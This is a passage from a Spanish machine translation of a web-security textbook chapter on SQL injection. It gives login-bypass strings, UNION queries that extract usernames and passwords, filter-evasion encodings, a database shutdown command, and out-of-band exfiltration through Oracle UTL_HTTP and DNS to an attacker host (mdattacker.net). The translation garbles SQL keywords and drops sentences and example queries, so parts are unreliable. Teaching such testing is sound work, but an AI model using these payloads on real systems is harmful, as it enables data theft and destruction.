datos SQL, los repositorios basados en XML y los directorios LDAP. También se cubren ejemplos
prácticos vistos en otros lugares .
Al cubrir estos ejemplos clave, describiremos los pasos prácticos que puede seguir para identificar
y explotar estos defectos. Hay una sinergia conceptual en el proceso de comprensión de cada nuevo
tipo de inyección. Habiendo captado los elementos esenciales de la explotación de estas
manifestaciones de la falla, debe estar seguro de que puede recurrir a esta comprensión cuando se
encuentre con una nueva categoría.
287
Machine Translated by Google
Esta consulta hace que la base de datos verifique cada fila dentro de la tabla de usuarios y extraiga
cada registro donde la columna de nombre de usuario tiene el valor marcus y la columna de contraseña
tiene el valor secreto. Si los detalles de un usuario se devuelven a la aplicación, el intento de inicio de
sesión es exitoso y la aplicación crea una sesión autenticada para ese usuario.
En esta situación, un atacante puede inyectar en el campo de nombre de usuario o contraseña para
modificar la consulta realizada por la aplicación y, por lo tanto, subvertir su lógica. Por ejemplo, si un
atacante sabe que el nombre de usuario del administrador de la aplicación es admin, puede iniciar sesión
como ese usuario proporcionando cualquier contraseña y el siguiente nombre de usuario:
administración'--
Tenga en cuenta que la secuencia de comentarios (--) hace que se ignore el resto de
la consulta , por lo que la consulta ejecutada es equivalente a:
¡INTENTALO!
http://mdsec.net/auth/319/
todas las demás cuentas a través de la aplicación. Además, si la consulta devuelve los detalles de
más de un usuario, la mayoría de las aplicaciones simplemente procesarán al primer usuario cuyos
detalles se devuelvan. Un atacante a menudo puede explotar este comportamiento para iniciar
sesión como el primer usuario en la base de datos proporcionando el nombre de usuario:
' O 1=1--
PASOS DE HACK
1. Proporcione una sintaxis inesperada que pueda causar problemas dentro del contexto del
lenguaje interpretado en particular.
5. Construya una prueba de concepto que haga que se ejecute un comando seguro de
manera verificable, para demostrar de manera concluyente que existe una falla de
inyección de código explotable.
Inyectando en SQL
Casi todas las aplicaciones web emplean una base de datos para almacenar los diversos tipos
de información que necesitan para funcionar. Por ejemplo, una aplicación web implementada por
un minorista en línea podría usar una base de datos para almacenar la siguiente información:
productos a la venta Pedidos , estados de cuenta y detalles de pago Los privilegios de cada
Se emplea una amplia gama de bases de datos para admitir aplicaciones web. Aunque los
fundamentos de la inyección de SQL son comunes a la gran mayoría de estos, existen muchas
diferencias. Estos van desde variaciones menores en la sintaxis hasta divergencias significativas
en el comportamiento y la funcionalidad que pueden afectar los tipos de ataques que puede
realizar. Por razones de espacio y cordura, restringiremos nuestros ejemplos a las tres bases de
datos más comunes que probablemente encontrará: Oracle, MS-SQL y MySQL. Siempre que
corresponda, llamaremos la atención sobre las diferencias entre estas tres plataformas. Equipado
con las técnicas que describimos aquí,
Machine Translated by Google
Debería poder identificar y explotar fallas de inyección de SQL contra cualquier otra
base de datos realizando una investigación adicional rápida.
SELECCIONE autor, título, año DESDE libros DONDE editor = 'Wiley' y publicado = 1
Esta consulta hace que la base de datos verifique cada fila dentro de la tabla de libros,
extraiga cada uno de los registros donde la columna editor tiene el valor Wiley y publicado
tiene el valor 1, y devuelve el conjunto de todos estos registros. Luego, la aplicación
procesa este conjunto de registros y se lo presenta al usuario dentro de una página HTML.
En esta consulta, las palabras a la izquierda del signo igual son palabras clave de SQL y
los nombres de tablas y columnas dentro de la base de datos. Esta parte de la consulta fue
construida por el programador cuando se creó la aplicación. La expresión Wiley la proporciona
el usuario y su significado es como un elemento de datos. Los datos de cadena en las
consultas SQL se deben encapsular entre comillas simples para separarlos del resto de la
consulta.
Ahora, considere lo que sucede cuando un usuario busca todos los libros publicados
por O´Reilly. Esto hace que la aplicación realice la siguiente consulta:
SELECCIONE autor, título, año DESDE libros DONDE editor = 'O'Reilly' y publicado = 1
Machine Translated by Google
Cuando una aplicación se comporta de esta manera, está completamente abierta a la inyección SQL.
Un atacante puede proporcionar una entrada que contenga comillas para terminar la
cadena que controla. Luego, puede escribir SQL arbitrario para modificar la consulta que
el desarrollador pretendía que ejecutara la aplicación. En esta situación, por ejemplo, el
atacante puede modificar la consulta para devolver todos los libros del catálogo del
minorista ingresando este término de búsqueda:
Wiley' O 1=1--
Esto modifica la cláusula WHERE de la consulta del desarrollador para agregar una
segunda condición. La base de datos verifica cada fila en la tabla de libros y extrae cada
registro donde la columna del editor tiene el valor Wiley o donde 1 es igual a 1. Debido a
que 1 siempre es igual a 1, la base de datos devuelve cada registro en la tabla de libros.
El doble guión en la entrada del atacante es una expresión significativa en SQL que le
dice al intérprete de consultas que el resto de la línea es un comentario y debe ignorarse.
Este truco es extremadamente útil en algunos ataques de inyección SQL, ya que le
permite ignorar el resto de la consulta creada por el desarrollador de la aplicación. En el
ejemplo, la aplicación encapsula la cadena proporcionada por el usuario entre comillas
simples. Debido a que el atacante terminó la cadena que controla e inyectó algo de SQL
adicional, necesita manejar las comillas finales para evitar un error de sintaxis, como en el
ejemplo de O'Reilly. Lo logra agregando un guión doble, lo que hace que el resto de la
consulta se trate como un comentario. En MySQL, debe incluir un espacio después del
doble guión o usar un carácter hash para especificar un comentario.
'a'='a' y publicado=1
Este ejemplo muestra cómo se puede eludir la lógica de la aplicación, lo que permite una
falla de control de acceso en la que el atacante puede ver todos los libros, no solo los libros
que coinciden con el filtro permitido (mostrando libros publicados). Sin embargo, describiremos
en breve cómo las fallas de inyección de SQL como esta pueden usarse para extraer datos
arbitrarios de diferentes tablas de bases de datos y escalar privilegios dentro de la base de
datos y el servidor de la base de datos. Por esta razón, cualquier vulnerabilidad de inyección
SQL debe considerarse extremadamente grave, independientemente de su contexto preciso
dentro de la funcionalidad de la aplicación.
Instrucciones SELECCIONAR
perfil, o realizando una búsqueda. También se utilizan a menudo en funciones de inicio de sesión en las
que la información proporcionada por el usuario se compara con los datos recuperados de una base de datos.
Como en los ejemplos anteriores, el punto de entrada para los ataques de inyección SQL
normalmente es la cláusula WHERE de la consulta. Los elementos proporcionados por el usuario
se pasan a la base de datos para controlar el alcance de los resultados de la consulta. Debido a
que la cláusula WHERE suele ser el componente final de una declaración SELECT , esto permite
que el atacante use el símbolo de comentario para truncar la consulta hasta el final de su entrada
sin invalidar la sintaxis de la consulta general.
Ocasionalmente, se producen vulnerabilidades de inyección SQL que afectan a otras partes de
la consulta SELECT , como la cláusula ORDER BY o los nombres de tablas y columnas.
¡INTENTALO!
http://mdsec.net/libro de direcciones/32/
INSERTAR declaraciones
Las declaraciones INSERT se utilizan para crear una nueva fila de datos dentro de una tabla. Se
usan comúnmente cuando una aplicación agrega una nueva entrada a un registro de auditoría,
crea una nueva cuenta de usuario o genera una nueva orden.
Por ejemplo, una aplicación puede permitir que los usuarios se autorregistren, especificando su
propio nombre de usuario y contraseña, y luego puede insertar los detalles en la tabla de usuarios
con la siguiente declaración:
Esto crea una cuenta con una ID de 9999 y privilegios de 0. Suponiendo que el campo de
privilegios se usa para determinar los privilegios de la cuenta, esto puede permitir que el atacante
para crear un usuario administrativo.
En algunas situaciones, cuando se trabaja completamente a ciegas, la inyección en una
declaración INSERT puede permitir que un atacante extraiga datos de cadena de la aplicación.
Por ejemplo, el atacante podría tomar la cadena de la versión de la base de datos e insertarla en
un campo dentro de su propio perfil de usuario, que se puede mostrar en su navegador de la forma
habitual.
Machine Translated by Google
Foo')--
foo', 1)-- foo', 1,
1)-- foo', 1, 1, 1)--
Si encuentra que el valor 1 todavía es rechazado, puede probar con el valor 2000,
que muchas bases de datos también convierten implícitamente en tipos de datos basados en fechas.
Cuando haya determinado el número correcto de campos después de la inyección
punto de inferencia, en MS-SQL puede agregar una segunda consulta arbitraria y utilizar una
de las técnicas basadas en inferencias que se describen más adelante en este capítulo.
En Oracle, se puede emitir una consulta de subselección dentro de una consulta de
inserción. Esta consulta de subselección puede provocar el éxito o el fracaso de la consulta
principal, utilizando las técnicas basadas en inferencias que se describen más adelante.
¡INTENTALO!
http://mdsec.net/libro de direcciones/12/
ACTUALIZAR declaraciones
Las instrucciones UPDATE se utilizan para modificar una o más filas de datos existentes
dentro de una tabla. A menudo se utilizan en funciones en las que un usuario cambia el
valor de los datos que ya existen, por ejemplo, actualizando su información de contacto,
cambiando su contraseña o cambiando la cantidad en una línea de un pedido.
Una instrucción UPDATE típica funciona de manera muy similar a una instrucción INSERT ,
excepto que normalmente contiene una cláusula WHERE para indicarle a la base de datos qué
filas de la tabla debe actualizar. Por ejemplo, cuando un usuario cambia su contraseña, la
aplicación puede realizar la siguiente consulta:
En efecto, esta consulta verifica si la contraseña existente del usuario es correcta y, de ser
así, la actualiza con el nuevo valor. Si la función es vulnerable a SQL
Machine Translated by Google
administración'--
administrador' o 1=1--
¡INTENTALO!
http://mdsec.net/libro de direcciones/27/
DELETE Declaraciones
Las declaraciones DELETE se utilizan para eliminar una o más filas de datos dentro de una
tabla, como cuando los usuarios eliminan un artículo de su carrito de compras o eliminan
una dirección de entrega de sus datos personales.
Al igual que con las declaraciones UPDATE , normalmente se usa una cláusula WHERE para
decirle a la base de datos qué filas de la tabla actualizar. Es muy probable que los datos
proporcionados por el usuario se incorporen a esta cláusula. Subvertir la cláusula WHERE prevista puede tener
Machine Translated by Google
efectos de gran alcance, por lo que la misma precaución descrita para las declaraciones UPDATE se
aplica a este ataque.
En los casos más obvios, una falla de inyección de SQL puede descubrirse y verificarse de
manera concluyente al proporcionar un único elemento de entrada inesperado a la aplicación.
En otros casos, los errores pueden ser extremadamente sutiles y pueden ser difíciles de
distinguir de otras categorías de vulnerabilidad o de anomalías benignas que no representan
una amenaza para la seguridad. No obstante, puedes realizar varios pasos de forma
ordenada para verificar de forma fiable la mayoría de fallos de inyección SQL.
NOTA En sus ejercicios de asignación de aplicaciones (consulte el Capítulo 4), debe haber
identificado instancias en las que la aplicación parece estar accediendo a una base de
datos de back-end. Todos estos deben ser probados en busca de fallas de inyección de
SQL. De hecho, absolutamente cualquier elemento de datos enviado al servidor puede
pasarse a las funciones de la base de datos de maneras que no son evidentes desde la
perspectiva del usuario y puede manejarse de manera insegura. Por lo tanto, debe sondear
cada elemento de este tipo en busca de vulnerabilidades de inyección de SQL. Esto
incluye todos los parámetros de URL, cookies, elementos de datos POST y encabezados
HTTP. En todos los casos, puede existir una vulnerabilidad en el manejo tanto del nombre como del valor del parámetro
PASOS DE HACK
3. Como verificación adicional de que hay un error, puede usar SQL concat
enator caracteres para construir una cadena que sea equivalente a alguna
entrada benigna. Si la aplicación maneja su entrada manipulada de la misma
manera que lo hace con la entrada benigna correspondiente, es probable que
sea vulnerable. Cada tipo de base de datos utiliza diferentes métodos para la
concatenación de cadenas. Los siguientes ejemplos se pueden inyectar para
construir una entrada equivalente a FOO en una aplicación vulnerable: n Oracle:
'||'FOO
n MS-SQL: '+'FOO
n MySQL: ' 'FOO (tenga en cuenta el espacio entre las dos comillas)
SUGERENCIA Una forma de confirmar que la aplicación está interactuando con una
base de datos de back-end es enviar el carácter comodín de SQL % en un parámetro determinado.
Por ejemplo, enviar esto en un campo de búsqueda a menudo devuelve una gran
cantidad de resultados, lo que indica que la entrada se está pasando a una consulta
SQL. Por supuesto, esto no indica necesariamente que la aplicación sea vulnerable, solo
que debe investigar más a fondo para identificar cualquier falla real.
PASOS DE HACK
1. Intente proporcionar una expresión matemática simple que sea equivalente al valor
numérico original. Por ejemplo, si el valor original es 2, intente enviar 1+1 o 3-1. Si
la aplicación responde de la misma manera, puede ser vulnerable.
2. La prueba anterior es más confiable en los casos en los que ha confirmado que el
elemento que se modifica tiene un efecto notable en el comportamiento de la
aplicación. Por ejemplo, si la aplicación usa un parámetro PageID numérico para
especificar qué contenido debe devolverse, sustituir 1+1 por 2 con resultados
equivalentes es una buena señal de que la inyección SQL está presente.
Sin embargo, si puede colocar una entrada arbitraria en un parámetro numérico
sin cambiar el comportamiento de la aplicación, la prueba anterior no proporciona
evidencia de una vulnerabilidad.
67-ASCII('A')
51-ASCII(1)
n & y = se utilizan para unir pares de nombre/valor para crear la cadena de consulta y
el bloque de datos POST. Debe codificarlos usando %26 y %3d, respectivamente.
Estas codificaciones son necesarias ya sea que esté editando el valor del parámetro directamente
desde su navegador, con un proxy de interceptación o por cualquier otro medio. Si no codifica
correctamente los caracteres problemáticos, puede invalidar toda la solicitud o enviar datos que no tenía
previsto enviar.
Los pasos que se acaban de describir generalmente son suficientes para identificar la
mayoría de las vulnerabilidades de inyección SQL, incluidas muchas de aquellas en las que
no se transmiten resultados útiles o información de error al navegador. En algunos casos, sin
embargo, pueden ser necesarias técnicas más avanzadas, como el uso de retardos de tiempo
para confirmar la presencia de una vulnerabilidad. Describiremos estas técnicas más adelante
en este capítulo.
SELECCIONE autor, título, año DESDE libros DONDE editorial = 'Wiley' ORDENAR POR título ASC
SUGERENCIA En algunos casos más raros, la entrada proporcionada por el usuario puede especificar
un nombre de columna dentro de una cláusula WHERE. Debido a que estos tampoco están
encapsulados entre comillas simples, ocurre un problema similar. Los autores también han encontrado
aplicaciones en las que el nombre de la tabla ha sido un parámetro proporcionado por el usuario. Por último,
una cantidad sorprendente de aplicaciones exponen la palabra clave de orden de clasificación (ASC o DESC)
para que la especifique el usuario, tal vez creyendo que esto no tiene consecuencias para los ataques de
inyección SQL.
cadena transversal de ruta, comillas simples, comillas dobles o cualquier otra cadena arbitraria.
Por lo tanto, es probable que las técnicas comunes tanto para el fuzzing automatizado como
para las pruebas manuales pasen por alto la vulnerabilidad. Las cadenas de prueba estándar
para numerosos tipos de vulnerabilidades generarán la misma respuesta, lo que puede no
revelar la naturaleza del error.
PASOS DE HACK
1. Tome nota de los parámetros que aparecen para controlar el orden o los tipos de
campo dentro de los resultados que devuelve la aplicación.
resultados, es probable que la entrada esté siendo insertado en una cláusula ORDER
BY. En SQL, ORDER BY 1 ordena por la primera columna. Aumentar este número a
2 debería cambiar el orden de visualización de los datos para ordenar por la
segunda columna. Si el número proporcionado es mayor que el número de columnas
en el conjunto de resultados, la consulta debería fallar. En esta situación, puede
confirmar que se puede inyectar más SQL al verificar si el orden de los resultados
se puede invertir, usando lo siguiente:
1 ASC --
1 DESC --
Ya ha visto cómo puede extraer la cadena de versión de los principales tipos de bases de
datos. Incluso si esto no se puede hacer por alguna razón, por lo general es posible tomar la
huella dactilar de la base de datos utilizando otros métodos. Uno de los más confiables son los
diferentes medios por los cuales las bases de datos concatenan cadenas. En una consulta en la
que controla algún elemento de datos de cadena, puede proporcionar un valor particular en una
solicitud y luego probar diferentes métodos de concatenación para producir esa cadena.
Cuando se obtienen los mismos resultados, probablemente haya identificado el tipo de base de
datos que se está utilizando. Los siguientes ejemplos muestran cómo se pueden construir los
servicios de cadena en los tipos comunes de base de datos:
n Oracle: 'servicios'||'hielos' n
MS-SQL: 'servicios'+'hielos'
Si está inyectando datos numéricos, las siguientes cadenas de ataque se pueden usar para
tomar huellas dactilares en la base de datos. Cada uno de estos elementos se evalúa como 0 en
la base de datos de destino y genera un error en las otras bases de datos:
n Oracle: BITAND(1,1)-BITAND(1,1)
n MS-SQL: @@PACK_RECIBIDO-@@PACK_RECIBIDO
n MySQL: CONEXIÓN_ID()-CONEXIÓN_ID()
NOTA Las bases de datos MS-SQL y Sybase comparten un origen común, por lo
que tienen muchas similitudes en relación con la estructura de la tabla, las variables
globales y los procedimientos almacenados. En la práctica, la mayoría de las técnicas
de ataque contra MS-SQL descritas en secciones posteriores funcionarán de forma idéntica contra Sybase.
Otro punto de interés cuando se toman las huellas dactilares de las bases de datos es cómo
MySQL maneja ciertos tipos de comentarios en línea. Si un comentario comienza con un signo de
exclamación seguido de una cadena de versión de la base de datos, el contenido del comentario
se interpreta como SQL real, siempre que la versión de la base de datos real sea igual o posterior
a esa cadena. De lo contrario, los contenidos se ignoran y se tratan como un comentario. Los
programadores pueden usar esta función de manera muy similar a las directivas de
preprocesamiento en C, lo que les permite escribir código diferente que se procesará.
Machine Translated by Google
condicionalmente a la versión de la base de datos que se utilice. Un atacante también puede usar
esta función para tomar huellas dactilares de la versión exacta de la base de datos. Por ejemplo,
inyectar la siguiente cadena hace que la cláusula WHERE de una declaración SELECT sea falsa si
la versión de MySQL en uso es mayor o igual a 3.23.02:
/*!32302 y 1=0*/
El operador de la UNIÓN
El operador UNION se usa en SQL para combinar los resultados de dos o más instrucciones SELECT
en un único conjunto de resultados. Cuando una aplicación web contiene una vulnerabilidad de
inyección SQL que ocurre en una declaración SELECT , a menudo puede emplear el operador
UNION para realizar una segunda consulta completamente separada y combinar sus resultados con
los de la primera. Si los resultados de la consulta se devuelven a su navegador, esta técnica se
puede utilizar para extraer fácilmente datos arbitrarios de la base de datos. UNION es compatible
con todos los principales productos DBMS. Es la forma más rápida de recuperar información arbitraria
de la base de datos en situaciones en las que los resultados de la consulta se devuelven directamente.
Recuerde la aplicación que permitía a los usuarios buscar libros según el autor,
el título, la editorial y otros criterios. La búsqueda de libros publicados por Wiley
hace que la aplicación realice la siguiente consulta:
administración r00tr0x 0
acantilado Reiniciar 1
NOTA Cuando los resultados de dos o más consultas SELECT se combinan mediante el
operador UNION, los nombres de las columnas del conjunto de resultados combinado son
los mismos que los devueltos por la primera consulta SELECT. Como se muestra en la tabla
anterior, los nombres de usuario aparecen en la columna del autor y las contraseñas
aparecen en la columna del título. Esto significa que cuando la aplicación procesa los
resultados de la consulta modificada, no tiene forma de detectar que los datos devueltos se
originaron en una tabla diferente.
Este sencillo ejemplo demuestra el poder potencialmente enorme del operador UNION cuando
se emplea en un ataque de inyección SQL. Sin embargo, antes de que pueda explotarse de esta
manera, se deben considerar dos condiciones importantes:
n Cuando los resultados de dos consultas se combinan mediante el operador UNION , los
dos conjuntos de resultados deben tener la misma estructura. En otras palabras, deben
contener el mismo número de columnas, que tengan tipos de datos iguales o compatibles,
apareciendo en el mismo orden.
n Para inyectar una segunda consulta que arrojará resultados interesantes, el atacante
necesita saber el nombre de la tabla de la base de datos a la que quiere apuntar y los
nombres de sus columnas relevantes.
Supongamos en cambio que el atacante intenta inyectar una segunda consulta cuyo
las columnas tienen tipos de datos incompatibles. Él proporciona esta entrada:
ORA-01790: la expresión debe tener el mismo tipo de datos que la expresión correspondiente
NOTA Los mensajes de error que se muestran aquí son para Oracle. Los
mensajes equivalentes para otras bases de datos se enumeran en la sección posterior
"Referencia de errores y sintaxis de SQL".
En muchos casos del mundo real, la aplicación detecta los mensajes de error de la base
de datos que se muestran y no se devuelven al navegador del usuario. Puede parecer, por lo
tanto, que al intentar descubrir la estructura de la primera consulta, se limita a puras
conjeturas. Sin embargo, éste no es el caso. Tres puntos importantes significan que su tarea
suele ser fácil:
PASOS DE HACK
1. Puede aprovechar el hecho de que NULL se puede convertir a cualquier tipo de datos para
inyectar sistemáticamente consultas con diferentes números de columnas hasta que
se ejecute la consulta inyectada. Por ejemplo:
Machine Translated by Google
Cuando se ejecuta su consulta, ve una fila adicional de datos que contiene el valor
a. A continuación, puede utilizar la columna correspondiente para extraer datos de la base de datos.
NOTA En las bases de datos de Oracle, cada declaración SELECT debe incluir un
atributo FROM, por lo que inyectar UNION SELECT NULL produce un error
independientemente del número de columnas. Puede satisfacer este requisito
seleccionando DUAL de la tabla accesible globalmente. Por ejemplo:
Por supuesto, aunque la cadena de versión de la base de datos puede ser interesante y
puede permitirle investigar vulnerabilidades con el software específico que se utiliza, en la
mayoría de los casos estará más interesado en extraer datos reales de la base de datos.
Para hacer esto, generalmente debe abordar la segunda condición descrita anteriormente.
Es decir, necesita saber el nombre de la tabla de la base de datos a la que desea apuntar y
los nombres de sus columnas relevantes.
NOMBRE EMAIL
¡INTENTALO!
http://mdsec.net/libro de direcciones/32/
Nombre=Mateo'%20union%20select%20null--
Todas las consultas combinadas con un operador UNION, INTERSECT o EXCEPT deben
tienen el mismo número de expresiones en sus listas de destino.
Agregamos un segundo NULL y ocurre el mismo error. Entonces continuamos agregando valores
NULL hasta que se ejecute nuestra consulta, generando un elemento adicional en la tabla de resultados:
Nombre=Matthew'%20union%20select%20null,null,null,null,null--
NOMBRE EMAIL
[vacío] [vacío]
Nombre=Matthew'%20union%20select%20'a',null,null,null,null--
NOMBRE EMAIL
El siguiente paso es averiguar los nombres de las tablas y columnas de la base de datos
que pueden contener información interesante. Podemos hacer esto consultando la tabla de
metadatos information_schema.columns, que contiene detalles de todas las tablas y nombres
de columnas dentro de la base de datos. Estos se pueden recuperar con esta consulta:
Nombre=Matthew'%20union%20select%20table_name,column_name,null,null,
null%20from%20information_schema.columns--
Machine Translated by Google
NOMBRE EMAIL
comprar_artículos precio
comprar_artículos prodigado
usuarios clave
Aquí, la tabla de usuarios es un lugar obvio para comenzar a extraer datos. Pudimos
extraiga datos de la tabla de usuarios usando esta consulta:
Nombre=Matthew'%20UNION%20select%20username,password,null,null,null%20 from%20users--
NOMBRE EMAIL
administrador fme69
desarrollador súper
marcus 8pintos
jlo 6k abajo
Omitir filtros
En algunas situaciones, una aplicación que es vulnerable a la inyección SQL puede
implementar varios filtros de entrada que le impiden explotar la falla sin restricciones.
Por ejemplo, la aplicación puede eliminar o desinfectar ciertos caracteres o puede
bloquear palabras clave comunes de SQL. Los filtros de este tipo a menudo son
vulnerables a los desvíos, por lo que debe probar numerosos trucos en esta situación.
puedes inyectar:
' o 'a'='a
Machine Translated by Google
¡INTENTALO!
http://mdsec.net/addressbook/71/ http://mdsec.net/
addressbook/76/
Seleccione
%00SELECCIONAR
SELECCIONAR
%53%45%4c%45%43%54
%2553%2545%254c%2545%2543%2554
¡INTENTALO!
http://mdsec.net/addressbook/58/ http://mdsec.net/
addressbook/62/
SELECCIONE/*foo*/nombre de usuario,contraseña/*foo*/FROM/*foo*/usuarios
En MySQL, los comentarios pueden incluso insertarse dentro de las propias palabras
clave, lo que proporciona otro medio para eludir algunos filtros de validación de entrada y,
al mismo tiempo, conservar la sintaxis de la consulta real. Por ejemplo:
Las rutinas de validación de entrada a menudo contienen fallas lógicas que puede explotar para
pasar de contrabando la entrada bloqueada más allá del filtro. Estos ataques a menudo explotan el
orden de múltiples pasos de validación o la falla en la aplicación recursiva de la lógica de
sanitización. Algunos ataques de este tipo se describen en el Capítulo 11.
¡INTENTALO!
http://mdsec.net/libro de direcciones/67/
particularmente interesante de omisión de filtro surge en relación con la inyección SQL de segundo
orden . Muchas aplicaciones manejan los datos de forma segura cuando se insertan por primera
vez en la base de datos. Una vez que los datos se almacenan en la base de datos, es posible que
luego se procesen de manera insegura, ya sea por la propia aplicación o por otros procesos de back-end.
Muchos de estos no son de la misma calidad que la aplicación principal orientada a Internet,
pero tienen cuentas de base de datos con muchos privilegios.
En algunas aplicaciones, la entrada del usuario se valida al llegar escapando una comilla
simple. En el ejemplo original de búsqueda de libros, este enfoque parece ser efectivo. Cuando
el usuario ingresa el término de búsqueda O'Reilly, la aplicación realiza la siguiente consulta:
Aquí, las comillas simples proporcionadas por el usuario se han convertido en dos comillas
simples. Por lo tanto, el elemento pasado a la base de datos tiene el mismo significado literal
que la expresión original que ingresó el usuario.
Un problema con el enfoque de duplicación surge en situaciones más complejas en las
que el mismo elemento de datos pasa por varias consultas SQL, se escribe en la base de
datos y luego se vuelve a leer más de una vez. Este es un ejemplo de las deficiencias de la
validación de entrada simple en comparación con la validación de límites, como se describe
en el Capítulo 2.
Recuerde la aplicación que permitía a los usuarios registrarse automáticamente y
contenía un error de inyección SQL en una declaración INSERT . Suponga que los
desarrolladores intentan corregir la vulnerabilidad duplicando las comillas simples que
aparecen en los datos del usuario. Intentar registrar el nombre de usuario foo' da como
resultado la siguiente consulta, que no causa problemas a la base de datos:
Hasta ahora tan bueno. Sin embargo, suponga que la aplicación también implementa una
función de cambio de contraseña. Solo los usuarios autenticados pueden acceder a esta
función, pero para mayor protección, la aplicación requiere que los usuarios envíen su
contraseña anterior. Luego verifica que esto sea correcto recuperando la contraseña actual
del usuario de la base de datos y comparando las dos cadenas. Para hacer esto, primero
recupera el nombre de usuario del usuario de la base de datos y luego construye la siguiente
consulta:
SELECCIONE la contraseña DE los usuarios DONDE nombre de usuario = 'foo'
[Microsoft][Controlador ODBC para SQL Server][SQL Server]Error de sintaxis al convertir el valor varchar 'fme69'
en una columna de tipo de datos int.
El atacante ha omitido con éxito la validación de entrada que fue diseñada para bloquear
los ataques de inyección SQL. Ahora tiene una forma de ejecutar consultas arbitrarias dentro
de la base de datos y recuperar los resultados.
¡INTENTALO!
http://mdsec.net/libro de direcciones/107/
ataques descritos hasta ahora tenían un medio listo para recuperar cualquier dato útil que
se extrajo de la base de datos, como realizar un ataque UNION o devolver datos en un
mensaje de error. Como conocimiento de la inyección de SQL
Machine Translated by Google
NOTA Los propietarios de aplicaciones deben saber que no todos los atacantes
están interesados en robar datos confidenciales. Algunos pueden ser más
destructivos. Por ejemplo, al proporcionar solo 12 caracteres de entrada, un atacante
podría desactivar una base de datos MS-SQL con el comando de apagado:
' cerrar--
Un atacante también podría inyectar comandos maliciosos para eliminar tablas individuales
con comandos como estos:
Es bastante común encontrar que ningún campo de cadena dentro de una aplicación es
vulnerable a la inyección SQL, porque la entrada que contiene comillas simples se maneja
correctamente. Sin embargo, aún pueden existir vulnerabilidades dentro de los campos de
datos numéricos, donde la entrada del usuario no está encapsulada entre comillas simples. A
menudo, en estas situaciones, la única forma de recuperar los resultados de sus consultas
inyectadas es a través de una respuesta numérica de la aplicación.
En esta situación, su desafío es procesar los resultados de sus consultas inyectadas de tal
manera que se puedan recuperar datos significativos en forma numérica.
Aquí se pueden utilizar dos funciones clave:
Usando estas dos funciones, puede dividir sistemáticamente una cadena de datos útiles en
sus caracteres individuales y devolver cada uno de ellos por separado, en forma numérica .
En un ataque programado, esta técnica se puede utilizar para recuperar y reconstruir
rápidamente una gran cantidad de datos basados en cadenas, un byte a la vez.
Machine Translated by Google
En una variación de esta situación, los autores han encontrado casos en los que lo que devuelve
la aplicación no es un número real, sino un recurso para el cual ese número es un identificador. La
aplicación realiza una consulta SQL basada en la entrada del usuario, obtiene un identificador
numérico para un documento y luego devuelve el contenido del documento al usuario. En esta
situación, un atacante puede obtener primero una copia de cada documento cuyos identificadores
estén dentro del rango numérico relevante y construir una asignación del contenido del documento
a los identificadores. Luego, al realizar el ataque descrito anteriormente, el atacante puede consultar
este mapa para determinar el identifi cador de cada documento recibido de la aplicación y así
recuperar el valor ASCII del carácter que ha extraído con éxito.
Además de modificar la lógica de la consulta para omitir el inicio de sesión, puede inyectar una
subconsulta completamente separada mediante la concatenación de cadenas para unir sus
resultados con el elemento que controla. Por ejemplo:
foo' || (SELECCIONE 1 DESDE dual DONDE (SELECCIONE nombre de usuario DESDE all_users DONDE
nombre de usuario = 'DBSNMP') = 'DBSNMP')--
Los medios para crear una conexión de red adecuada dependen en gran medida de la base de datos.
Los diferentes métodos pueden o no estar disponibles según el nivel de privilegio del usuario de la base
de datos con el que la aplicación accede a la base de datos.
A continuación se describen algunas de las técnicas más comunes y eficaces para cada tipo de base de
datos.
MS-SQL
En bases de datos más antiguas como MS-SQL 2000 y anteriores, el comando OpenRowSet
se puede usar para abrir una conexión a una base de datos externa e insertar datos
arbitrarios en ella. Por ejemplo, la siguiente consulta hace que la base de datos de destino
abra una conexión con la base de datos del atacante e inserte la cadena de versión de la
base de datos de destino en la tabla llamada foo:
Tenga en cuenta que puede especificar el puerto 80, o cualquier otro valor probable, para aumentar su
posibilidad de hacer una conexión saliente a través de cualquier cortafuegos.
Oráculo
Oracle contiene una gran cantidad de funciones predeterminadas a las que pueden acceder los usuarios
con pocos privilegios y que se pueden utilizar para crear una conexión fuera de banda.
El paquete UTL_HTTP se puede utilizar para realizar solicitudes HTTP arbitrarias a
otros hosts. UTL_HTTP contiene una rica funcionalidad y admite servidores proxy,
cookies, redireccionamientos y autenticación. Esto significa que un atacante que ha comprometido
Machine Translated by Google
una base de datos en una red corporativa interna altamente restringida puede
aprovechar un proxy corporativo para iniciar conexiones salientes a Internet.
En el siguiente ejemplo, se utiliza UTL_HTTP para transmitir los resultados de una
consulta inyectada a un servidor controlado por el atacante:
/employees.asp?EmpNo=7521'||UTL_HTTP.request('mdattacker.net:80/'||
(SELECT%20username%20FROM%20all_users%20WHERE%20ROWNUM%3d1))--
Esta URL hace que UTL_HTTP realice una solicitud GET para una URL que contenga el primer
nombre de usuario en la tabla all_users. El atacante simplemente puede configurar un oyente netcat
en mdattacker.net para recibir el resultado:
C:\>nc-nLp 80
OBTENER /SYS HTTP/1.1
Anfitrión: mdattacker.net
Conexión: cerrar
El paquete UTL_INADDR está diseñado para usarse para resolver nombres de host en
direcciones IP. Puede usarse para generar consultas DNS arbitrarias a un servidor controlado
por el atacante. En muchas situaciones, es más probable que esto tenga éxito que el ataque
UTL_HTTP , porque el tráfico DNS a menudo se permite a través de los cortafuegos
corporativos incluso cuando el tráfico HTTP está restringido. El atacante puede aprovechar
este paquete para realizar una búsqueda en un nombre de host de su elección, recuperando
efectivamente datos arbitrarios anteponiéndolos como un subdominio a un nombre de dominio que controla.
Por ejemplo:
/employees.asp?EmpNo=7521'||UTL_INADDR.GET_HOST_NAME((SELECT%20PASSWORD%
20FROM%20DBA_USERS%20WHERE%20NAME='SYS')||'.mdattacker.net')
Esto da como resultado una consulta DNS al servidor de nombres mdattacker.net que contiene el
hash de la contraseña del usuario SYS :
DCB748A5BC5390F2.mdattacker.net
El paquete UTL_SMTP se puede utilizar para enviar correos electrónicos. Esta función se puede
utilizar para recuperar grandes volúmenes de datos capturados de la base de datos enviándolos en
correos electrónicos salientes.
El paquete UTL_TCP se puede usar para abrir sockets TCP arbitrarios para enviar y recibir datos
de red.
NOTA En Oracle 11g, una ACL adicional protege muchos de los recursos que se acaban
de describir de la ejecución por parte de cualquier usuario de base de datos arbitrario.
